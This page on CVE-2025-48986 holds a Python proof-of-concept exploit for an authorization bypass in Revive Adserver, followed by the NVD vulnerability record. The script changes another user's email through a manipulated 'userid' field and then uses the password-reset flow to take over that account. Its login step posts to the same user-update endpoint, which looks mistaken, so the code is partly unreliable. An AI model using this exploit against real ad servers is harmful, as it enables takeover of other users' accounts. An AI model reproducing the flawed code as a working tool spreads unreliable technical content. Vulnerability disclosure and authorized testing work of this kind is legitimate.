CVE-2025-48986

import requests import re # CVE-2025-48986 PoC - Authorization Bypass in Revive Adserver # Target: Revive Adserver <= 5.5.2 / <= 6.0.1 TARGET_URL = "http://target.com/revive-adserver" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "attacker_password" TARGET_USER_ID = 2 # Victim user ID to be modified ATTACKER_CONTROLLED_EMAIL = "[email protected]" session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{TARGET_URL}/account-user-update.php" login_data = { "email": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(login_url, data=login_data) # Step 2: Exploit authorization bypass to change victim's email # The vulnerability is in the user update process where userid is not properly validated exploit_url = f"{TARGET_URL}/account-user-update.php" exploit_data = { "userid": TARGET_USER_ID, # Bypassing authorization to modify other user "email": ATTACKER_CONTROLLED_EMAIL, "submit": "Update" } response = session.post(exploit_url, data=exploit_data) # Step 3: Use forgot password functionality to reset victim's password forgot_url = f"{TARGET_URL}/password-reminder.php" forgot_data = { "email": ATTACKER_CONTROLLED_EMAIL, "submit": "Send" } response = session.post(forgot_url, data=forgot_data) print("PoC executed. Check attacker-controlled email for password reset link.") print("Note: This PoC is for educational and authorized testing purposes only.")

{"cve": {"id": "CVE-2025-48986", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:22.407", "lastModified": "2025-11-25T18:57:29.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization bypass in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes an logged in attacker to change other users' email address and potentialy take over their accounts using the forgot password functionality."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.5.2", "matchCriteriaId": "47AC2D81-BA0C-404A-B6F6-31151956D422"}, {"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.1", "matchCriteriaId": "42E4B7BD-5F7B-4FBE-93D2-C19F30FA5A51"}]}]}], "references": [{"url": "https://hackerone.com/reports/3398283", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3398283", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}